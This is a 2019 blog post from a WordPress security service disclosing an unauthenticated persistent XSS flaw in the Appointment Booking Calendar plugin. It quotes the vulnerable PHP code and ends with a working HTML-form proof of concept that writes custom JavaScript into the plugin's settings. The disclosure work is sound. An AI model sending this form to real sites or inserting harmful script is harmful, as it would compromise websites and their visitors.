3 Jul 2019

Hackers Look to Be Targeting the WordPress Plugin Appointment Booking Calendar, Which Is Yet Another Insecure Plugin From Code People

Monday of last week we started out a post with this:

Back in March of 2016 we warned of the WordPress plugin developer CodePeople, which currently has 27 plugins in the Plugin Directory, due to repeated security issues in their plugins. Over three years later things don’t look to have changed. The changelog for the latest version of the plugin CP Contact Form with PayPal is “Fixed XSS vulnerability in CSS edition” in looking into that to see if there was a vulnerability we should be notifying customers of our service that were using that plugin about, we found that there is still a related vulnerability in the current version of the plugin, which should have been caught if they checked over the code in the plugin for similar issues. The vulnerability that was fixed is identical to one that they were notified was in another of their plugin’s in October.

One of the ways we are able to provide the best warning to the people running WordPress websites of vulnerabilities in plugins being used on them through our service is that we do various monitoring for indications that hackers are targeting vulnerable plugins. Today through that we noticed what looked to be hackers probing for usage of another of Code People’s plugins, Appointment Booking Calendar, on our website. That involved requests for the following files:

/wp-content/plugins/appointment-booking-calendar/vendor/vg-plugin-sdk/assets/css/styles.css
/wp-content/plugins/appointment-booking-calendar/js/block.js
/wp-content/plugins/appointment-booking-calendar/README.txt

Not surprisingly considering the track record of Code People, we quickly found that the plugin is incredibly insecure.

An obvious candidate for what the hackers might be looking to exploit is a persistent cross-site scripting (XSS) vulnerability. That is due in part to that being the type of vulnerability hackers have been exploiting recently and in part due to the code involved involving things that have been part of previous vulnerable code widely exploited, it was due that latter issue that we found the vulnerability in less than a minute of looking at the code.

The plugin registers the function cpabc_appointments_check_posted_data() to run when WordPress loads:

140
add_action( 'init', 'cpabc_appointments_check_posted_data', 11 );

That function, which is located in the file /inc/cpabc_apps_go.inc.php, runs various code. A lot of which doesn’t look properly secured. One chunk of it will cause the function cpabc_appointments_save_edition() to run if the POST input “CP_ABC_post_edition” exists and the function is_admin() returns true:

90
91
92
93
94
if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset( $_POST['CP_ABC_post_edition'] ) && is_admin() )
{
	cpabc_appointments_save_edition();
	return;
}

The function is_admin() indicates whether an admin page is being accessed or not, but is frequently assumed to tell if the request is coming from a WordPress user with the role of Administrator. It isn’t clear if that confusion is at play with that code.

What function does is allow setting the value for the plugin’s setting for custom JavaScript and custom CSS:

498
499
500
501
502
503
504
505
506
507
508
509
function cpabc_appointments_save_edition()
{
    foreach ($_POST as $item => $value)
        if (!is_array($value))
            $_POST[$item] = stripcslashes($value);    
    if (substr_count($_POST['editionarea'],"\\\""))
        $_POST["editionarea"] = stripcslashes($_POST["editionarea"]);
    if ($_POST["cfwpp_edit"] == 'js')   
        update_option('CP_ABC_JS', base64_encode($_POST["editionarea"]));  
    else if ($_POST["cfwpp_edit"] == 'css')  
        update_option('CP_ABC_CSS', base64_encode($_POST["editionarea"]));  
}

There are no security checks before doing that, so even someone not logged in WordPress accessing the right page can cause those settings to be changed. The ability to put malicious JavaScript in the custom JavaScript setting is persistent cross-site scripting (XSS) vulnerability.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause an alert box with the message “XSS” to be shown on frontend pages for the plugin.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="CP_ABC_post_edition" value="1" />
<input type="hidden" name="cfwpp_edit" value="js" />
<input type="hidden" name="editionarea" value='alert("XSS");' />
<input type="submit" name="save" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.